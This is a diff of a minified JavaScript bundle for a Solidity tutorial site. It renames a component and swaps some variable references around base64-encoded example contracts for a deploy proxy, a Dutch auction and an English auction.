    3. @@ -745,7 +745,7 @@ Closing a channel when Alice and Bob do not agree on the final balances emit Refund(_id, msg.sender, bal); } } -`,yj=({prev:s,next:a})=>r.jsx(u,{version:dj,title:Cj,description:jj,html:Aj,prev:s,next:a,codes:uj}),mj="0.8.24",bj="Deploy Any Contract",wj="Deploy Any Contract",kj=[{fileName:"Proxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFByb3h5IHsKICAgIGV2ZW50IERlcGxveShhZGRyZXNzKTsKCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGRlcGxveShieXRlcyBtZW1vcnkgX2NvZGUpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBhZGRyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gY3JlYXRlKHYsIHAsIG4pCiAgICAgICAgICAgIC8vIHYgPSBhbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAgICAgICAgLy8gcCA9IHBvaW50ZXIgaW4gbWVtb3J5IHRvIHN0YXJ0IG9mIGNvZGUKICAgICAgICAgICAgLy8gbiA9IHNpemUgb2YgY29kZQogICAgICAgICAgICBhZGRyIDo9IGNyZWF0ZShjYWxsdmFsdWUoKSwgYWRkKF9jb2RlLCAweDIwKSwgbWxvYWQoX2NvZGUpKQogICAgICAgIH0KICAgICAgICAvLyByZXR1cm4gYWRkcmVzcyAwIG9uIGVycm9yCiAgICAgICAgcmVxdWlyZShhZGRyICE9IGFkZHJlc3MoMCksICJkZXBsb3kgZmFpbGVkIik7CgogICAgICAgIGVtaXQgRGVwbG95KGFkZHIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUoYWRkcmVzcyBfdGFyZ2V0LCBieXRlcyBtZW1vcnkgX2RhdGEpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIChib29sIHN1Y2Nlc3MsKSA9IF90YXJnZXQuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfShfZGF0YSk7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiZmFpbGVkIik7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RDb250cmFjdDEgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIgPSBtc2cuc2VuZGVyOwoKICAgIGZ1bmN0aW9uIHNldE93bmVyKGFkZHJlc3MgX293bmVyKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBvd25lciIpOwogICAgICAgIG93bmVyID0gX293bmVyOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QyIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIHVpbnQyNTYgcHVibGljIHZhbHVlID0gbXNnLnZhbHVlOwogICAgdWludDI1NiBwdWJsaWMgeDsKICAgIHVpbnQyNTYgcHVibGljIHk7CgogICAgY29uc3RydWN0b3IodWludDI1NiBfeCwgdWludDI1NiBfeSkgcGF5YWJsZSB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHkgPSBfeTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGJ5dGVjb2RlID0gdHlwZShUZXN0Q29udHJhY3QxKS5jcmVhdGlvbkNvZGU7CiAgICAgICAgcmV0dXJuIGJ5dGVjb2RlOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMih1aW50MjU2IF94LCB1aW50MjU2IF95KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICBieXRlcyBtZW1vcnkgYnl0ZWNvZGUgPSB0eXBlKFRlc3RDb250cmFjdDIpLmNyZWF0aW9uQ29kZTsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVBhY2tlZChieXRlY29kZSwgYWJpLmVuY29kZShfeCwgX3kpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRDYWxsZGF0YShhZGRyZXNzIF9vd25lcikgZXh0ZXJuYWwgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInNldE93bmVyKGFkZHJlc3MpIiwgX293bmVyKTsKICAgIH0KfQo="}],Zj=`

    Deploy any contract by calling Proxy.deploy(bytes memory _code)

    +`,yj=({prev:s,next:a})=>r.jsx(A,{version:dj,title:Cj,description:jj,html:uj,prev:s,next:a,codes:Aj}),mj="0.8.24",bj="Deploy Any Contract",wj="Deploy Any Contract",kj=[{fileName:"Proxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFByb3h5IHsKICAgIGV2ZW50IERlcGxveShhZGRyZXNzKTsKCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGRlcGxveShieXRlcyBtZW1vcnkgX2NvZGUpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBhZGRyKQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gY3JlYXRlKHYsIHAsIG4pCiAgICAgICAgICAgIC8vIHYgPSBhbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAgICAgICAgLy8gcCA9IHBvaW50ZXIgaW4gbWVtb3J5IHRvIHN0YXJ0IG9mIGNvZGUKICAgICAgICAgICAgLy8gbiA9IHNpemUgb2YgY29kZQogICAgICAgICAgICBhZGRyIDo9IGNyZWF0ZShjYWxsdmFsdWUoKSwgYWRkKF9jb2RlLCAweDIwKSwgbWxvYWQoX2NvZGUpKQogICAgICAgIH0KICAgICAgICAvLyByZXR1cm4gYWRkcmVzcyAwIG9uIGVycm9yCiAgICAgICAgcmVxdWlyZShhZGRyICE9IGFkZHJlc3MoMCksICJkZXBsb3kgZmFpbGVkIik7CgogICAgICAgIGVtaXQgRGVwbG95KGFkZHIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUoYWRkcmVzcyBfdGFyZ2V0LCBieXRlcyBtZW1vcnkgX2RhdGEpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIChib29sIHN1Y2Nlc3MsKSA9IF90YXJnZXQuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfShfZGF0YSk7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiZmFpbGVkIik7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RDb250cmFjdDEgewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIgPSBtc2cuc2VuZGVyOwoKICAgIGZ1bmN0aW9uIHNldE93bmVyKGFkZHJlc3MgX293bmVyKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBvd25lciIpOwogICAgICAgIG93bmVyID0gX293bmVyOwogICAgfQp9Cgpjb250cmFjdCBUZXN0Q29udHJhY3QyIHsKICAgIGFkZHJlc3MgcHVibGljIG93bmVyID0gbXNnLnNlbmRlcjsKICAgIHVpbnQyNTYgcHVibGljIHZhbHVlID0gbXNnLnZhbHVlOwogICAgdWludDI1NiBwdWJsaWMgeDsKICAgIHVpbnQyNTYgcHVibGljIHk7CgogICAgY29uc3RydWN0b3IodWludDI1NiBfeCwgdWludDI1NiBfeSkgcGF5YWJsZSB7CiAgICAgICAgeCA9IF94OwogICAgICAgIHkgPSBfeTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGJ5dGVjb2RlID0gdHlwZShUZXN0Q29udHJhY3QxKS5jcmVhdGlvbkNvZGU7CiAgICAgICAgcmV0dXJuIGJ5dGVjb2RlOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEJ5dGVjb2RlMih1aW50MjU2IF94LCB1aW50MjU2IF95KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICBieXRlcyBtZW1vcnkgYnl0ZWNvZGUgPSB0eXBlKFRlc3RDb250cmFjdDIpLmNyZWF0aW9uQ29kZTsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVBhY2tlZChieXRlY29kZSwgYWJpLmVuY29kZShfeCwgX3kpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRDYWxsZGF0YShhZGRyZXNzIF9vd25lcikgZXh0ZXJuYWwgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoInNldE93bmVyKGFkZHJlc3MpIiwgX293bmVyKTsKICAgIH0KfQo="}],Zj=`

    Deploy any contract by calling Proxy.deploy(bytes memory _code)

    For this example, you can get the contract bytecodes by calling Helper.getBytecode1 and Helper.getBytecode2

    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -819,7 +819,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         return abi.encodeWithSignature("setOwner(address)", _owner);
     }
 }
-
    `,Wj=({prev:s,next:a})=>r.jsx(u,{version:mj,title:bj,description:wj,html:Zj,prev:s,next:a,codes:kj}),Bj="0.8.24",Gj="Dutch Auction",Vj="An example of Dutch auction in Solidity",fj=[{fileName:"DutchAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIF9mcm9tLCBhZGRyZXNzIF90bywgdWludDI1NiBfbmZ0SWQpCiAgICAgICAgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IER1dGNoQXVjdGlvbiB7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3IGRheXM7CgogICAgSUVSQzcyMSBwdWJsaWMgaW1tdXRhYmxlIG5mdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBuZnRJZDsKCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIGltbXV0YWJsZSBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBpbW11dGFibGUgc3RhcnRpbmdQcmljZTsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBzdGFydEF0OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGV4cGlyZXNBdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBkaXNjb3VudFJhdGU7CgogICAgY29uc3RydWN0b3IoCiAgICAgICAgdWludDI1NiBfc3RhcnRpbmdQcmljZSwKICAgICAgICB1aW50MjU2IF9kaXNjb3VudFJhdGUsCiAgICAgICAgYWRkcmVzcyBfbmZ0LAogICAgICAgIHVpbnQyNTYgX25mdElkCiAgICApIHsKICAgICAgICBzZWxsZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgICAgIHN0YXJ0aW5nUHJpY2UgPSBfc3RhcnRpbmdQcmljZTsKICAgICAgICBzdGFydEF0ID0gYmxvY2sudGltZXN0YW1wOwogICAgICAgIGV4cGlyZXNBdCA9IGJsb2NrLnRpbWVzdGFtcCArIERVUkFUSU9OOwogICAgICAgIGRpc2NvdW50UmF0ZSA9IF9kaXNjb3VudFJhdGU7CgogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIF9zdGFydGluZ1ByaWNlID49IF9kaXNjb3VudFJhdGUgKiBEVVJBVElPTiwgInN0YXJ0aW5nIHByaWNlIDwgbWluIgogICAgICAgICk7CgogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiB0aW1lRWxhcHNlZCA9IGJsb2NrLnRpbWVzdGFtcCAtIHN0YXJ0QXQ7CiAgICAgICAgdWludDI1NiBkaXNjb3VudCA9IGRpc2NvdW50UmF0ZSAqIHRpbWVFbGFwc2VkOwogICAgICAgIHJldHVybiBzdGFydGluZ1ByaWNlIC0gZGlzY291bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gYnV5KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPCBleHBpcmVzQXQsICJhdWN0aW9uIGV4cGlyZWQiKTsKCiAgICAgICAgdWludDI1NiBwcmljZSA9IGdldFByaWNlKCk7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPj0gcHJpY2UsICJFVEggPCBwcmljZSIpOwoKICAgICAgICBuZnQudHJhbnNmZXJGcm9tKHNlbGxlciwgbXNnLnNlbmRlciwgbmZ0SWQpOwogICAgICAgIHVpbnQyNTYgcmVmdW5kID0gbXNnLnZhbHVlIC0gcHJpY2U7CiAgICAgICAgaWYgKHJlZnVuZCA+IDApIHsKICAgICAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihyZWZ1bmQpOwogICAgICAgIH0KICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VsbGVyKTsKICAgIH0KfQo="}],Yj=`

    Dutch auction for NFT.

    +`,Wj=({prev:s,next:a})=>r.jsx(A,{version:mj,title:bj,description:wj,html:Zj,prev:s,next:a,codes:kj}),Bj="0.8.24",Gj="Dutch Auction",Vj="An example of Dutch auction in Solidity",fj=[{fileName:"DutchAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIF9mcm9tLCBhZGRyZXNzIF90bywgdWludDI1NiBfbmZ0SWQpCiAgICAgICAgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IER1dGNoQXVjdGlvbiB7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3IGRheXM7CgogICAgSUVSQzcyMSBwdWJsaWMgaW1tdXRhYmxlIG5mdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBuZnRJZDsKCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIGltbXV0YWJsZSBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBpbW11dGFibGUgc3RhcnRpbmdQcmljZTsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBzdGFydEF0OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGV4cGlyZXNBdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBkaXNjb3VudFJhdGU7CgogICAgY29uc3RydWN0b3IoCiAgICAgICAgdWludDI1NiBfc3RhcnRpbmdQcmljZSwKICAgICAgICB1aW50MjU2IF9kaXNjb3VudFJhdGUsCiAgICAgICAgYWRkcmVzcyBfbmZ0LAogICAgICAgIHVpbnQyNTYgX25mdElkCiAgICApIHsKICAgICAgICBzZWxsZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgICAgIHN0YXJ0aW5nUHJpY2UgPSBfc3RhcnRpbmdQcmljZTsKICAgICAgICBzdGFydEF0ID0gYmxvY2sudGltZXN0YW1wOwogICAgICAgIGV4cGlyZXNBdCA9IGJsb2NrLnRpbWVzdGFtcCArIERVUkFUSU9OOwogICAgICAgIGRpc2NvdW50UmF0ZSA9IF9kaXNjb3VudFJhdGU7CgogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIF9zdGFydGluZ1ByaWNlID49IF9kaXNjb3VudFJhdGUgKiBEVVJBVElPTiwgInN0YXJ0aW5nIHByaWNlIDwgbWluIgogICAgICAgICk7CgogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJpY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiB0aW1lRWxhcHNlZCA9IGJsb2NrLnRpbWVzdGFtcCAtIHN0YXJ0QXQ7CiAgICAgICAgdWludDI1NiBkaXNjb3VudCA9IGRpc2NvdW50UmF0ZSAqIHRpbWVFbGFwc2VkOwogICAgICAgIHJldHVybiBzdGFydGluZ1ByaWNlIC0gZGlzY291bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gYnV5KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPCBleHBpcmVzQXQsICJhdWN0aW9uIGV4cGlyZWQiKTsKCiAgICAgICAgdWludDI1NiBwcmljZSA9IGdldFByaWNlKCk7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPj0gcHJpY2UsICJFVEggPCBwcmljZSIpOwoKICAgICAgICBuZnQudHJhbnNmZXJGcm9tKHNlbGxlciwgbXNnLnNlbmRlciwgbmZ0SWQpOwogICAgICAgIHVpbnQyNTYgcmVmdW5kID0gbXNnLnZhbHVlIC0gcHJpY2U7CiAgICAgICAgaWYgKHJlZnVuZCA+IDApIHsKICAgICAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihyZWZ1bmQpOwogICAgICAgIH0KICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VsbGVyKTsKICAgIH0KfQo="}],Yj=`

    Dutch auction for NFT.

    Auction

    1. Seller of NFT deploys this contract setting a starting price for the NFT.
      2. @@ -888,7 +888,7 @@ Closing a channel when Alice and Bob do not agree on the final balances selfdestruct(seller); } } -`,Rj=({prev:s,next:a})=>r.jsx(u,{version:Bj,title:Gj,description:Vj,html:Yj,prev:s,next:a,codes:fj}),Xj="0.8.24",vj="English Auction",Nj="An example of English auction in Solidity",Hj=[{fileName:"EnglishAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEVuZ2xpc2hBdWN0aW9uIHsKICAgIGV2ZW50IFN0YXJ0KCk7CiAgICBldmVudCBCaWQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIGJpZGRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgRW5kKGFkZHJlc3Mgd2lubmVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgSUVSQzcyMSBwdWJsaWMgbmZ0OwogICAgdWludDI1NiBwdWJsaWMgbmZ0SWQ7CgogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBlbmRBdDsKICAgIGJvb2wgcHVibGljIHN0YXJ0ZWQ7CiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICBhZGRyZXNzIHB1YmxpYyBoaWdoZXN0QmlkZGVyOwogICAgdWludDI1NiBwdWJsaWMgaGlnaGVzdEJpZDsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmlkczsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9uZnQsIHVpbnQyNTYgX25mdElkLCB1aW50MjU2IF9zdGFydGluZ0JpZCkgewogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CgogICAgICAgIHNlbGxlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgaGlnaGVzdEJpZCA9IF9zdGFydGluZ0JpZDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFydCgpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKCFzdGFydGVkLCAic3RhcnRlZCIpOwogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBzZWxsZXIsICJub3Qgc2VsbGVyIik7CgogICAgICAgIG5mdC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgbmZ0SWQpOwogICAgICAgIHN0YXJ0ZWQgPSB0cnVlOwogICAgICAgIGVuZEF0ID0gYmxvY2sudGltZXN0YW1wICsgNyBkYXlzOwoKICAgICAgICBlbWl0IFN0YXJ0KCk7CiAgICB9CgogICAgZnVuY3Rpb24gYmlkKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShzdGFydGVkLCAibm90IHN0YXJ0ZWQiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA8IGVuZEF0LCAiZW5kZWQiKTsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA+IGhpZ2hlc3RCaWQsICJ2YWx1ZSA8IGhpZ2hlc3QiKTsKCiAgICAgICAgaWYgKGhpZ2hlc3RCaWRkZXIgIT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICBiaWRzW2hpZ2hlc3RCaWRkZXJdICs9IGhpZ2hlc3RCaWQ7CiAgICAgICAgfQoKICAgICAgICBoaWdoZXN0QmlkZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICBoaWdoZXN0QmlkID0gbXNnLnZhbHVlOwoKICAgICAgICBlbWl0IEJpZChtc2cuc2VuZGVyLCBtc2cudmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgZXh0ZXJuYWwgewogICAgICAgIHVpbnQyNTYgYmFsID0gYmlkc1ttc2cuc2VuZGVyXTsKICAgICAgICBiaWRzW21zZy5zZW5kZXJdID0gMDsKICAgICAgICBwYXlhYmxlKG1zZy5zZW5kZXIpLnRyYW5zZmVyKGJhbCk7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYmFsKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmQoKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShzdGFydGVkLCAibm90IHN0YXJ0ZWQiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+PSBlbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiZW5kZWQiKTsKCiAgICAgICAgZW5kZWQgPSB0cnVlOwogICAgICAgIGlmIChoaWdoZXN0QmlkZGVyICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgaGlnaGVzdEJpZGRlciwgbmZ0SWQpOwogICAgICAgICAgICBzZWxsZXIudHJhbnNmZXIoaGlnaGVzdEJpZCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgc2VsbGVyLCBuZnRJZCk7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEVuZChoaWdoZXN0QmlkZGVyLCBoaWdoZXN0QmlkKTsKICAgIH0KfQo="}],Fj=`

      English auction for NFT.

      +`,Rj=({prev:s,next:a})=>r.jsx(A,{version:Bj,title:Gj,description:Vj,html:Yj,prev:s,next:a,codes:fj}),Xj="0.8.24",vj="English Auction",Nj="An example of English auction in Solidity",Hj=[{fileName:"EnglishAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEVuZ2xpc2hBdWN0aW9uIHsKICAgIGV2ZW50IFN0YXJ0KCk7CiAgICBldmVudCBCaWQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgV2l0aGRyYXcoYWRkcmVzcyBpbmRleGVkIGJpZGRlciwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgRW5kKGFkZHJlc3Mgd2lubmVyLCB1aW50MjU2IGFtb3VudCk7CgogICAgSUVSQzcyMSBwdWJsaWMgbmZ0OwogICAgdWludDI1NiBwdWJsaWMgbmZ0SWQ7CgogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBlbmRBdDsKICAgIGJvb2wgcHVibGljIHN0YXJ0ZWQ7CiAgICBib29sIHB1YmxpYyBlbmRlZDsKCiAgICBhZGRyZXNzIHB1YmxpYyBoaWdoZXN0QmlkZGVyOwogICAgdWludDI1NiBwdWJsaWMgaGlnaGVzdEJpZDsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmlkczsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9uZnQsIHVpbnQyNTYgX25mdElkLCB1aW50MjU2IF9zdGFydGluZ0JpZCkgewogICAgICAgIG5mdCA9IElFUkM3MjEoX25mdCk7CiAgICAgICAgbmZ0SWQgPSBfbmZ0SWQ7CgogICAgICAgIHNlbGxlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgaGlnaGVzdEJpZCA9IF9zdGFydGluZ0JpZDsKICAgIH0KCiAgICBmdW5jdGlvbiBzdGFydCgpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKCFzdGFydGVkLCAic3RhcnRlZCIpOwogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBzZWxsZXIsICJub3Qgc2VsbGVyIik7CgogICAgICAgIG5mdC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgbmZ0SWQpOwogICAgICAgIHN0YXJ0ZWQgPSB0cnVlOwogICAgICAgIGVuZEF0ID0gYmxvY2sudGltZXN0YW1wICsgNyBkYXlzOwoKICAgICAgICBlbWl0IFN0YXJ0KCk7CiAgICB9CgogICAgZnVuY3Rpb24gYmlkKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgcmVxdWlyZShzdGFydGVkLCAibm90IHN0YXJ0ZWQiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA8IGVuZEF0LCAiZW5kZWQiKTsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA+IGhpZ2hlc3RCaWQsICJ2YWx1ZSA8IGhpZ2hlc3QiKTsKCiAgICAgICAgaWYgKGhpZ2hlc3RCaWRkZXIgIT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICBiaWRzW2hpZ2hlc3RCaWRkZXJdICs9IGhpZ2hlc3RCaWQ7CiAgICAgICAgfQoKICAgICAgICBoaWdoZXN0QmlkZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICBoaWdoZXN0QmlkID0gbXNnLnZhbHVlOwoKICAgICAgICBlbWl0IEJpZChtc2cuc2VuZGVyLCBtc2cudmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KCkgZXh0ZXJuYWwgewogICAgICAgIHVpbnQyNTYgYmFsID0gYmlkc1ttc2cuc2VuZGVyXTsKICAgICAgICBiaWRzW21zZy5zZW5kZXJdID0gMDsKICAgICAgICBwYXlhYmxlKG1zZy5zZW5kZXIpLnRyYW5zZmVyKGJhbCk7CgogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYmFsKTsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmQoKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShzdGFydGVkLCAibm90IHN0YXJ0ZWQiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzd